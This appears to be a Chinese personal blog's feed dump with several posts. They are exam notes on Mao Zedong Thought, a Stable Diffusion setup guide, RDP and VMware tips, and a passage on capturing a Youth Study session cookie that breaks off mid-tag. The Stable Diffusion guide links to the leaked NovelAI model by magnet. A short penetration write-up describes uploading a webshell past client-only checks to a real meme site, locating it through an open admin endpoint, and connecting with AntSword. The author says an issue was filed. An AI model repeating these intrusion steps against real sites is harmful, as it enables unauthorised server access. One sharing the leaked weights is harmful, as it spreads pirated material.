<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-300x181.png"></p><h2 id="考题分布"><a href="#考题分布" class="headerlink" title="考题分布"></a>考题分布</h2><p>单选题10*1分=10分</p><p>名词解释4*5分=20分</p><p>简答题:4*10=40分</p><p>材料分析题:2*15=30分</p><h2 id="名词解释"><a href="#名词解释" class="headerlink" title="名词解释"></a><strong>名词解释</strong></h2><ol><li>实事求是:实事求是,就是一切从实际出发,理论联系实际,坚持实践中检验真理和发展真理。毛泽东指出:实事就是客观存在的一切事务,是就是客观事物的内部联系,即规律,求就是要求去研究</li><li>群众路线:一切为了群众,一切依靠群众,从群众中来,到群众中去,把党的正确主张变成群众自觉的行动</li><li>独立自主:坚持独立思考走自己的路,坚定不移地<strong>维护民族独立</strong>、<strong>捍卫国家主权</strong>,把立足点放在依靠自己的力量基础上,同时积极争取外援,开展国际文化经济交流,学习一切国外<strong>对我们有益的先进</strong>事物</li><li>新民主主义革命的总路线:无产阶级领导的,人民大众的,反对<strong>帝国主义,封建主义,官僚资本主义的革命</strong>(三座大山)</li><li>党在过渡时期的总路线:从新中国成立—->社会主义改造基本完成,这是过渡时期。是在相当长的一段时间内逐步实现国家社会主义工业化,并逐渐对农业手工业<strong>资本主义</strong>工商业社会主义改造</li><li>毛泽东思想:是马克思主义中国化<strong>第一个重大理论成果</strong>,是马克思列宁主义<strong>在中国的运用和发展</strong>,是被实践证明的了中国革命与建设的正确理论原则和经验总结,是中国共产党集体智慧结晶,是党必须长期坚持的指导思想</li><li>三步走战略:1987年4月,邓小平提出,10月确定<br>1981—>1990,国民生产总值比1980翻一番,解决温饱问题<br>1991—>20世纪末,再翻一倍,达到小康水平<br>到21世纪中叶,<strong>人均</strong>国民生产总值达到中等发达国家水平,人民生活富裕,基本实现现代化,继续前进</li><li>社会主义初级阶段理论:初级阶段指我国生产力落后、商品经济不发达的条件下建设社会主义必然要经历的阶段,就是从社会主义—>社会主义现代化基本完成的阶段</li><li>一国两制:在祖国统一的前提下,国家主体实行社会主义制度,港澳台保持原有社会制度和生活方式长期不变</li><li>依法治国:广大人民群众在党的领导下,依照宪法和法律法规,通过各种途径和形式管理<strong>国家事务</strong>,管理<strong>经济文化事业</strong>,管理<strong>社会事务</strong>,保证国家各项工作都依法进行,逐步实现社会主义民主的<strong>制度化和法律化</strong>,使这种<strong>制度和法律</strong>不因<strong>领导人的改变</strong>而改变,不因<strong>领导人看法和注意力改变</strong>而改</li></ol><h2 id="简答题"><a href="#简答题" class="headerlink" title="简答题"></a>简答题</h2><h3 id="毛泽东思想形成和发展的社会历史条件"><a href="#毛泽东思想形成和发展的社会历史条件" class="headerlink" title="毛泽东思想形成和发展的社会历史条件"></a>毛泽东思想形成和发展的社会历史条件</h3><ol><li>19世纪末20世纪初,世界进入帝国主义和无产阶级革命时代</li><li>十月革命的胜利开启世界无产阶级革命的新时代。他将中国反帝反封建的民主革命,从<strong>旧的世界资产阶级民主革命</strong>的一部分,转变为<strong>新的世界无产阶级社会主义革命</strong>的一部分</li><li>十月革命送来了马克思列宁主义,中国革命有了科学的指导思想</li><li>中国革命胜利后,经历了二次大战后两大阵营的对立斗争,西方国家不仅封锁禁运而且力求和平演变,毛泽东思想便是从这样的社会历史背景下形成发展的</li><li>中国共产党领导人民进行<strong>革命和建设的成功实践</strong>是毛泽东思想形成发展的<strong>实践基础</strong></li></ol><h3 id="毛泽东思想活的灵魂和历史地位"><a href="#毛泽东思想活的灵魂和历史地位" class="headerlink" title="毛泽东思想活的灵魂和历史地位"></a>毛泽东思想活的灵魂和历史地位</h3><p>活的灵魂:实事求是,群众路线,独立自主</p><p>历史地位:</p><ol><li>马克思主义中国化的第一个重大理论成果</li><li>是中国革命和建设的科学指南</li><li>是中国共产党和人民的宝贵精神财富</li></ol><h3 id="土地革命、武装斗争、农村革命根据地建设-三者之间的联系"><a href="#土地革命、武装斗争、农村革命根据地建设-三者之间的联系" class="headerlink" title="土地革命、武装斗争、农村革命根据地建设 三者之间的联系"></a>土地革命、武装斗争、农村革命根据地建设 三者之间的联系</h3><ol><li>土地革命是民主革命的主要内容</li><li>武装斗争是中国革命的主要形式,是农村革命根据地建设和土地革命的强有力保证</li><li>农村革命根据地是中国革命的战略阵地,是进行武装斗争和开展土地革命的依托</li><li>党的领导下,实现了<strong>三者的密切结合和有机统一</strong></li></ol><h3 id="新民主主义革命基本纲领"><a href="#新民主主义革命基本纲领" class="headerlink" title="新民主主义革命基本纲领"></a>新民主主义革命基本纲领</h3><ol><li>政治:推翻帝国主义和封建主义统治,建立一个以无产阶级领导、工农联盟为基础的、各个革命阶级联合专政的新民主主义的共和国</li><li>经济:没收封建地主的土地归农民,没收官僚资产阶级的垄断资本归新民主主义的国家所有,保护民族工商业</li><li>文化:无产阶级领导的人民大众的<strong>反帝反封建文化</strong>,民族的科学的大众的文化</li></ol><h3 id="新民主主义革命的三大法宝和相互关系"><a href="#新民主主义革命的三大法宝和相互关系" class="headerlink" title="新民主主义革命的三大法宝和相互关系"></a>新民主主义革命的三大法宝和相互关系</h3><p>三大法宝:统一战线,武装斗争,党的建设</p><p>相互关系:统一战线和武装斗争中国革命的两个基本特点,是战胜敌人的基本武器。统一战线是实行武装斗争的统一战线,武装斗争是统一战线的中心支柱,党的组织则是掌握这两个武器的英勇战士</p><h3 id="社会主义改造的经验"><a href="#社会主义改造的经验" class="headerlink" title="社会主义改造的经验"></a>社会主义改造的经验</h3><ol><li>社会主义工业建设和社会主义改造同时进行</li><li>积极引导,逐步过渡</li><li>和平方法改造</li></ol><h3 id="社会主义-基本-制度确立的重大意义"><a href="#社会主义-基本-制度确立的重大意义" class="headerlink" title="社会主义**基本**制度确立的重大意义"></a>社会主义**<em>基本</em>**制度确立的重大意义</h3><p>是中国历史上最深刻最伟大的社会变革,为当今中国奠定了制度基础,也为中特社的建立创新提供了重要前提</p><ol><li>极大地提高了<strong>工人阶级和广大劳动人民</strong>的积极性和创造性,极大促进了生产力发展</li><li>使广大人民真正成为国家主人</li><li>使占全球人口四分之一的东方大国进入了社会主义社会,进一步改变了世界政治经济格局,增强了社会主义力量,对世界和平的维护产生了重要影响</li><li>是马克思列宁主义<strong>关于社会主义革命理论</strong>在中国的正确应用和创造性发展的结果,不仅再次证明了马克思列宁主义的真理性,而且以其独特的理论原则和经验总结<strong>丰富和发展了科学社会主义</strong></li></ol><h3 id="党对社会主义建设道路初步探索的重大意义"><a href="#党对社会主义建设道路初步探索的重大意义" class="headerlink" title="党对社会主义建设道路初步探索的重大意义"></a>党对社会主义建设道路初步探索的重大意义</h3><ol><li>巩固和发展了我国的社会主义</li><li>为开创中特社提供了宝贵经验、理论准备、物质基础</li><li>丰富了科学社会主义的理论和实践</li></ol><h3 id="初步探索的经验教训"><a href="#初步探索的经验教训" class="headerlink" title="初步探索的经验教训"></a>初步探索的经验教训</h3><ol><li>必须把马克思主义和中国实际相结合,探索符合中国的道路</li><li>必须正确认识社会主义的主要和次要矛盾,集中力量发展生产力</li><li>必须从实际出发,建设速度和规模要与国力相适应,不能急于求成</li><li>必须发展社会主义民主,健全社会主义法制</li><li>坚持党的民主集中制和集体领导制度,加强执政党建设</li><li>必须坚持对外开放,借鉴和吸收人类文明成果建设社会主义,不能关起门来搞建设</li></ol><h3 id="邓小平理论形成的历史社会条件"><a href="#邓小平理论形成的历史社会条件" class="headerlink" title="邓小平理论形成的历史社会条件"></a>邓小平理论形成的历史社会条件</h3><ol><li>时代背景:和平与发展成为时代主题</li><li>历史根据:社会主义建设的经验教训</li><li>现实依据:改革开放和现代化建设</li></ol><h3 id="三步走"><a href="#三步走" class="headerlink" title="三步走"></a>三步走</h3><p>同上</p><h3 id="和平统一一国两制的基本内容"><a href="#和平统一一国两制的基本内容" class="headerlink" title="和平统一一国两制的基本内容"></a>和平统一一国两制的基本内容</h3><ol><li>坚持一个中国</li><li>两制并存</li><li>港澳台高度自治</li><li>尽最大努力争取和平统一,但不承诺放弃使用武力</li><li>解决台湾问题,实现祖国完全统一,寄希望于台湾人民</li></ol><h3 id="简述“改革是中国第二次革命”"><a href="#简述“改革是中国第二次革命”" class="headerlink" title="简述“改革是中国第二次革命”"></a>简述“改革是中国第二次革命”</h3><ol><li>改革是社会主义社会发展的直接动力。社会主义社会的基本矛盾仍然是生产力和生产关系、上层建筑和经济基础之间的矛盾,这些矛盾推动了社会主义社会的发展。在社会主义社会,改革从根本上改变束缚生产力发展的经济体制,促进生产力的发展,从而解决了发展动力的问题</li><li>改革是一次新的革命,不是也不允许否定和抛弃我们建立起来的社会主义基本制度,他是社会主义制度的自我完善和发展</li><li>改革不是一个阶级推翻另一个阶级的革命,也不是原因经济体制的细枝末节修补,而是对体制的根本性变革。他的实质和目标,是要从根本上改变束缚我国生产力发展的经济体制,建立一个充满生机和活力的社会主义新经济体制,同时相应地改革政治体制和其他方面的体制,以实现社会主义现代化</li></ol><h3 id="邓小平理论的历史地位"><a href="#邓小平理论的历史地位" class="headerlink" title="邓小平理论的历史地位"></a>邓小平理论的历史地位</h3><ol><li>马克思列宁主义、毛泽东思想的<strong>继承与发展</strong></li><li>中特社理论体系的<strong>开篇之作</strong></li><li><strong>改革开放和社会主义现代化建设的科学指南</strong></li></ol><h3 id="三个代表的社会历史条件"><a href="#三个代表的社会历史条件" class="headerlink" title="三个代表的社会历史条件"></a>三个代表的社会历史条件</h3><ol><li>时代背景:冷战后对国际局势的科学判断的基础上形成的。世界多极化和经济全球化的趋势在曲折中发展,和平与发展仍是时代的主题</li><li>是科学判断党的历史方位和总结历史经验的基础上提出来的</li><li>是在建设中特社伟大实践的基础上形成的。就是对过程中各种出现的实际问题中形成和发展的</li></ol><h3 id="三个代表"><a href="#三个代表" class="headerlink" title="三个代表"></a>三个代表</h3><ol><li>始终代表中国先进生产力的发展要求</li><li>始终代表中国先进文化的前进方向</li><li>始终代表中国最广大人民的根本利益</li></ol><h3 id="科学发展观的的社会历史条件"><a href="#科学发展观的的社会历史条件" class="headerlink" title="科学发展观的的社会历史条件"></a>科学发展观的的社会历史条件</h3><ol><li>是把深刻把握我国基本国情和新的阶段性特征的基础上形成和发展的</li><li>是总结改开特别是十六大以来实践经验的基础上形成和发展的</li><li>是深刻分析国际形势、顺应世界发展趋势、借鉴国外发展经验的基础上形成和发展的</li></ol><h3 id="科学发展观的科学内涵和精神实质"><a href="#科学发展观的科学内涵和精神实质" class="headerlink" title="科学发展观的科学内涵和精神实质"></a>科学发展观的科学内涵和精神实质</h3><p>内涵:</p><ol><li><strong>推动经济发展</strong>是第一要义</li><li><strong>以人为本</strong>是核心立场</li><li><strong>全面协调可持续</strong>是基本要求</li><li><strong>统筹兼顾</strong>是根本方法</li></ol><p>实质:</p><p>解放思想、实事求是、与时俱进、求真务实</p>]]></content>
<categories>
<category> 我爱学习 </category>
</categories>
<tags>
<tag> 求生指南 </tag>
</tags>
</entry>
<entry>
<title>stable-diffusion-webui的食用方法</title>
<link href="/2022/10/08/stable-diffusion-webui%E7%9A%84%E9%A3%9F%E7%94%A8%E6%96%B9%E6%B3%95/"/>
<url>/2022/10/08/stable-diffusion-webui%E7%9A%84%E9%A3%9F%E7%94%A8%E6%96%B9%E6%B3%95/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252157828.png"></p><h2 id="0x01-Anaconda安装"><a href="#0x01-Anaconda安装" class="headerlink" title="0x01 Anaconda安装"></a>0x01 Anaconda安装</h2><p>这个没啥好说的,主要是要记住你的安装路径</p><h2 id="0x02-安装CUDA"><a href="#0x02-安装CUDA" class="headerlink" title="0x02 安装CUDA"></a>0x02 安装CUDA</h2><p>到官网:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://developer.nvidia.com/cuda-downloads?target_os=Windows&target_arch=x86_64&target_version=10&target_type=exe_local</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252158948.png"></p><h2 id="0x03-安装stable-diffusion-webui"><a href="#0x03-安装stable-diffusion-webui" class="headerlink" title="0x03 安装stable-diffusion-webui"></a>0x03 安装stable-diffusion-webui</h2><h3 id="1-sd-webui"><a href="#1-sd-webui" class="headerlink" title="1.sd-webui"></a>1.sd-webui</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/sd-webui/stable-diffusion-webui.git</span><br></pre></td></tr></table></figure><p>安装后按他所说的在根目录建立<strong>custom-conda-path.txt</strong>,并写上自己的Anaconda根目录</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252158626.png"></p><p>下载模型文件,放在<strong>\stable-diffusion-webui\models\ldm\stable-diffusion-v1</strong>下</p><p>其实也可以mklink,不过我没试过,因为我的novelaileak文件在下载盘里,下载盘是个远古机械,速度不是很快</p><h3 id="2-另一个更好的web-ui"><a href="#2-另一个更好的web-ui" class="headerlink" title="2.另一个更好的web-ui"></a>2.另一个更好的web-ui</h3><p>这个更好,可以过滤一些negative prompt</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git</span><br></pre></td></tr></table></figure><p>安装过程过于缓慢,建议先pip安装他的requirements.txt</p><h3 id="3-泄露模型"><a href="#3-泄露模型" class="headerlink" title="3.泄露模型"></a>3.泄露模型</h3><p>我这里用的是novelaileak的,你也可以用其他的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">magnet:?xt=urn:btih:5bde442da86265b670a3e5ea3163afad2c6f8ecc&dn=novelaileak&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337%2Fannounce&tr=udp%3A%2F%2F9.rarbg.com%3A2810%2Fannounce&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A6969%2Fannounce&tr=http%3A%2F%2Ftracker.openbittorrent.com%3A80%2Fannounce&tr=udp%3A%2F%2Fopentracker.i2p.rocks%3A6969%2Fannounce</span><br></pre></td></tr></table></figure><p>第二版(125G)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">magnet:?xt=urn:btih:a20087e7807f28476dd7b0b2e0174981709d89cd&dn=novelaileakpt2&tr=udp%3a%2f%2ftracker.openbittorrent.com%3a6969%2fannounce&tr=http%3a%2f%2ftracker.openbittorrent.com%3a80%2fannounce&tr=https%3a%2f%2ftracker.nanoha.org%3a443%2fannounce</span><br></pre></td></tr></table></figure><p>今天流出的新版本,效果更好但是空间占用更大</p><h2 id="0x04-食用"><a href="#0x04-食用" class="headerlink" title="0x04 食用"></a>0x04 食用</h2><p>到根目录,运行一下webui的cmd,会自动安装环境</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252159861.png"></p><p>我的GTX1060 6G生成速度不是很快,我这有块Tesla p4,不知道加上去会不会加快点速度</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252159861.png"></p><p>更多关键词请见:</p><p><a href="https://wiki.installgentoo.com/wiki/Stable_Diffusion#Keywords">https://wiki.installgentoo.com/wiki/Stable_Diffusion#Keywords</a></p><p><a href="https://gelbooru.com/index.php?page=tags&s=list">https://gelbooru.com/index.php?page=tags&s=list</a></p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> AI </tag>
</tags>
</entry>
<entry>
<title>Github代理</title>
<link href="/2022/10/08/github%E4%BB%A3%E7%90%86/"/>
<url>/2022/10/08/github%E4%BB%A3%E7%90%86/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252133062.jpg"></p><p>clash别忘了开LAN</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git config --global http.proxy protocol://127.0.0.1:7890</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> git </tag>
<tag> github </tag>
</tags>
</entry>
<entry>
<title>解决Vmware中Ubuntu22.04的vm-tools无法安装的问题</title>
<link href="/2022/09/09/%E8%A7%A3%E5%86%B3vmware%E4%B8%ADubuntu22-04%E7%9A%84vm-tools%E6%97%A0%E6%B3%95%E5%AE%89%E8%A3%85%E7%9A%84%E9%97%AE%E9%A2%98/"/>
<url>/2022/09/09/%E8%A7%A3%E5%86%B3vmware%E4%B8%ADubuntu22-04%E7%9A%84vm-tools%E6%97%A0%E6%B3%95%E5%AE%89%E8%A3%85%E7%9A%84%E9%97%AE%E9%A2%98/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242323435.jpg"></p><p>谷歌了一下,vm-tools无法安装初步判定是Vmware 的版本对Ubuntu22.04不兼容造成的,安装open-vm-tools可以解决:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">apt install open-vm-tools</span><br><span class="line">apt install open-vm-tools-desktop</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> ubuntu </tag>
<tag> Vmware </tag>
</tags>
</entry>
<entry>
<title>远程桌面(RDP)的迷思</title>
<link href="/2022/09/01/%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%EF%BC%88rdp%EF%BC%89%E7%9A%84%E8%BF%B7%E6%80%9D/"/>
<url>/2022/09/01/%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%EF%BC%88rdp%EF%BC%89%E7%9A%84%E8%BF%B7%E6%80%9D/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242340599.jpg"></p><h2 id="0x00说在前面"><a href="#0x00说在前面" class="headerlink" title="0x00说在前面"></a>0x00说在前面</h2><p>新学期,在社团活动室组了一台主机。打算开个远程桌面,这样我在宿舍的话,也可以访问我的主机了。</p><h2 id="0x01方案选择"><a href="#0x01方案选择" class="headerlink" title="0x01方案选择"></a>0x01方案选择</h2><p>无非就以下几个方案:</p><ol><li>第三方远程桌面软件/穿透软件来突破内网限制。这个的话属实没有必要,因为我就在学校里有这个需求,否定。</li><li>IPv4+端口映射。想啥呢,暴露在校园网下,这是要给x1c的大哥们冲业绩吗?否定。</li><li>IPv4+proxifier代理。这个方案是我一开始最认可的,当我搭好socks5隧道时发现,我确实可以访问192.*.*.*下的内网设备,包括我的网页服务器,pt下载机,以及别人乱七八糟的服务端API数据库接口Nas啥的,结果轮到我的主机的rdp端口,他就不行了。初步猜测可能和Windows的防火墙策略有关,但是我在网上找了半天没找到和我一样情况的人,少部分人思路和我一样,但是他们似乎没出现这么神奇的现象,否定。</li><li>IPv6。这个方案是肯定可以的——我现在用的就是。学校里有自己的校园网和运营商网络,运营商网络是没法通过DHCP分配IPv6的,但是校园网是可以的。另外,社团的网也是可以的。</li></ol><p>IPv6的方案好就好在,我校的校园网虽然晚上会断网,但是校园网可以在未登录的情况下分配一个教育网段的地址。就算这个不行,也可以通过连接手机热点的方式,获取IPv6。注意,我校校园网不支持SLACC,安卓设备无法通过连接校园网WiFi来获取v6地址。</p><p>至于客户端,我在Windows端选择的是mstsc(就是专业版自带的那个)。安卓用的是谷歌商店的RD客户端(同样微软出品)。注意,这个软件微软商店也有,但是不推荐,因为延迟远不如原生的mstsc。</p><h2 id="0x02实测表现"><a href="#0x02实测表现" class="headerlink" title="0x02实测表现"></a>0x02实测表现</h2><p>总的来说还是非常不错的,44ms。其实这是最高延迟了,测到过26ms的。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242340193.png"></p><h2 id="0x03优化"><a href="#0x03优化" class="headerlink" title="0x03优化"></a>0x03优化</h2><h3 id="1-突破30fps限制"><a href="#1-突破30fps限制" class="headerlink" title="1.突破30fps限制"></a>1.突破30fps限制</h3><p>打开Windows<code>注册表编辑器 (regedit.exe)</code>,找到以下子项:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations</span><br></pre></td></tr></table></figure><p>右击新建一个<code>DWORD(32-bit)值</code>的项,改名为<code>DWMFRAMEINTERVAL</code>,修改为十进制下的15。</p><p>为什么?因为这个时候的帧率限制为1000/15,也就是66FPS。</p><p>结束后保存重启,可以远程桌面登录后,通过一些测试fps的网站来测试,你会发现fps不是之前30而是60或者更高了。</p><h3 id="2-显卡加速"><a href="#2-显卡加速" class="headerlink" title="2.显卡加速"></a>2.显卡加速</h3><p>打开远程主机上的组策略(Win+R打开运行,输入<code>gpedit.msc</code>)</p><p>依次找到计算机配置->管理模板->Windows组件->远程桌面服务->远程桌面会话主机->远程会话环境</p><p>在右边选择<strong>将硬件图形适配器应用于所有远程桌面服务会话</strong></p><p>同时也可以打开<strong>配置远程桌面连接的H.264/AVC硬件编码</strong></p><p>其实这没啥太大用处,具体原因接着说。</p><h2 id="0x04游戏玩家的十字路口"><a href="#0x04游戏玩家的十字路口" class="headerlink" title="0x04游戏玩家的十字路口"></a>0x04游戏玩家的十字路口</h2><p>首先我们要明白:<strong>微软RDP是不支持独显的。有需要远程玩游戏的话,需要第三方的远程桌面、远程遥控软件才行。</strong></p><p>在我们连接到远程桌面时,打开任务管理器,会发现独显是可以正常显示的。但是这并不代表你可以打游戏或者开blender啥的。那么这是怎么回事呢?</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242341801.png"></p><p>如果你在这时打开游戏,你会发现一些游戏确实可以打开。比如我打开文明6,帧率只有30+,cpu频率暴增到3.99GHz,占用暴增40%,显卡摆烂在3%一动不动,这和在本机打开后的表现天差地别。而像apex,那就根本打不开了。注意,这和有无集显没有关系,我是12400F,照样可以显示,说明是有个虚拟显卡的。</p><p>当然,NVidia也注意到了这一点,于是推出了nvidia-opengl-rdp——恕我直言,这个驱动几乎没什么作用……都什么年代了,还在用传统OpenGL。DirectX有人说是原生支持了,我觉得他在放屁,要是真的原生支持我怎么可能出现以上情况?</p><p>官网下载需要登陆注册developer账号,我找到个第三方的百度网盘下载,不大就0.3M大小。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">链接:https://pan.baidu.com/s/1HKy\_Q\_rZx1oy3kq4XO0AuA </span><br><span class="line">提取码:pntw</span><br></pre></td></tr></table></figure><p>至于想玩游戏嘛……可以试试其他的软件,可能在延迟方面不如微软原生的mstsc,也有是游戏识别的限制。这些东西,等我以后试到了再做反馈吧。</p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> RDP </tag>
</tags>
</entry>
<entry>
<title>记一次文件上传类型渗透</title>
<link href="/2022/05/07/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%B1%BB%E5%9E%8B%E6%B8%97%E9%80%8F/"/>
<url>/2022/05/07/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%B1%BB%E5%9E%8B%E6%B8%97%E9%80%8F/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252151241.jpg"></p><p>仅用于信息安全教学和演示,请勿用于其他用途</p><blockquote><p>“从未如此美妙的开局!”</p></blockquote><h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>很久没有做安全相关的事了,昨天在好奇心的驱使下,尝试挖了一个比较简单的洞,过程不复杂,但是对于以后的可能进行的后端开发敲响了警钟。</p><h2 id="0x01过程"><a href="#0x01过程" class="headerlink" title="0x01过程"></a><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252151117.png">0x01过程</h2><p>这个网站是一个某类表情包(一眼丁真)的分享网站,有随机表情包、按照id搜索表情包、按照id点赞表情包、上传表情包等功能。显然,有上传就一定有审核,有审核就一定有管理员端,而且这是肯定进不去的。(下图为按照id点赞表情包的api,没啥用其实)</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252152233.png"></p><p>还是看看他的主界面吧,有一个上传,看看源码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><div id="upload-pic-box"></span><br><span class="line"> <a id="pic-path">上传一张图片吧</a></span><br><span class="line"> <form id="upload-form"></span><br><span class="line"> <input onchange="validateFileType()" type="file" accept="image/gif,image/jpeg,image/jpg,image/png,image/svg" name="user-upload" id="user-upload"></span><br><span class="line"> </div></span><br><span class="line"></span><br><span class="line">//...此处省略114514行~</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> var fileName = document.getElementById("user-upload").value;</span><br><span class="line"> var extFile = fileName.substr(idxDot, fileName.length).toLowerCase();</span><br><span class="line"> if (extFile == "jpg" extFile == "jpeg" extFile == "png" extFile == 'gif') {</span><br><span class="line"> showfilename();</span><br><span class="line"> } else {</span><br><span class="line"> alert("你怎么骗我,\n哼,上传点正常格式的照片!(jpg/png/gif)");</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>可以看出,如果服务端没做验证的话,这里的前端校验就是马奇诺防线,轻松上传我们的🐴</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252152111.png"></p><p>然后我们需要定位我们的🐴在哪里了,本来这有些棘手,毕竟万一人家后端有个杀🐴程序呢?(虽然能上传成功的话就说明大概率不会有了233)</p><p>然鹅,在审查其他api时,我发现了有个叫做/admin-get.php的get请求。我试着直接curl了一下,结果大跌眼镜的是,这玩意谁都能访问,而且一堆较为敏感的信息,虽然没有标识,但是能一眼看出有些字段是图片id和<strong>图片地址</strong>的。这极为致命,因为这就告诉了我上传的🐴的位置。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252152329.png"></p><p>这就离谱了嗷xdm,让我们连一下蚁剑</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252152852.png"></p><p><img src="http://192.168.1.35/wp-content/uploads/2022/05/%E5%9B%BE%E7%89%87-7-1024x168.png"></p><p>xswl</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252152256.png"></p><p>不过还是要提issue的,这是道德底线</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252152256.png"></p><p>作者也在后面做了补救措施,看得出来还是个比较核善的人😋😋😋</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252153180.png"></p><h2 id="0x02后记"><a href="#0x02后记" class="headerlink" title="0x02后记"></a>0x02后记</h2><p>实际上,我一直是在做黑盒测试,我是在拿到shell后才注意到它原来本身就开源了(离谱,那我浪费时间干嘛)。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252153366.png"></p><p>可以看出来作者本人真的强,但是再强的人也难免有些地方不如成熟框架做的细致。想起我这种彩笔以前直接用几个组件拼接了一个后端,还自以为是地写了个恶心人的黑盒,就以为能抵御95%的入侵了,结果某个“阿喀琉斯之踵”被别人(plusls)拒绝服务攻击了,寄。</p>]]></content>
<categories>
<category> 安全 </category>
</categories>
<tags>
<tag> PHP </tag>
<tag> 文件上传 </tag>
</tags>
</entry>
<entry>
<title>青年大学习(江苏)的HTTP请求分析</title>
<link href="/2022/04/05/%E9%9D%92%E5%B9%B4%E5%A4%A7%E5%AD%A6%E4%B9%A0%EF%BC%88%E6%B1%9F%E8%8B%8F%EF%BC%89%E7%9A%84http%E8%AF%B7%E6%B1%82%E5%88%86%E6%9E%90/"/>
<url>/2022/04/05/%E9%9D%92%E5%B9%B4%E5%A4%A7%E5%AD%A6%E4%B9%A0%EF%BC%88%E6%B1%9F%E8%8B%8F%EF%BC%89%E7%9A%84http%E8%AF%B7%E6%B1%82%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242318378.png"></p><h2 id="0x01抓包"><a href="#0x01抓包" class="headerlink" title="0x01抓包"></a>0x01抓包</h2><p>江苏省青年大学习的接口:<a href="https://service.jiangsugqt.org/youth/lesson">https://service.jiangsugqt.org/youth/lesson</a></p><p><strong>确认课程</strong>的接口:<a href="https://service.jiangsugqt.org/youth/lesson/confirm">https://service.jiangsugqt.org/youth/lesson/confirm</a></p><p>微信打开xweb调试界面,打开就行:<a href="http://debugxweb.qq.com/?inspector=true">http://debugxweb.qq.com/?inspector=true</a></p><h2 id="0x02获取cookie"><a href="#0x02获取cookie" class="headerlink" title="0x02获取cookie"></a>0x02获取cookie</h2><p>青年大学习是通过cookie中的laravel_session来获取用户信息的,现在微信早就不支持vconsole了(要是支持我还这么抓包干嘛?),需要手机usb连接电脑,用Google chrome(建议edge浏览器,Google的有些资源加载不出来,或者很慢)的chrome://inspect/#devices里面进行调试</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242319220.png"></p><h2 id="0x03发送请求"><a 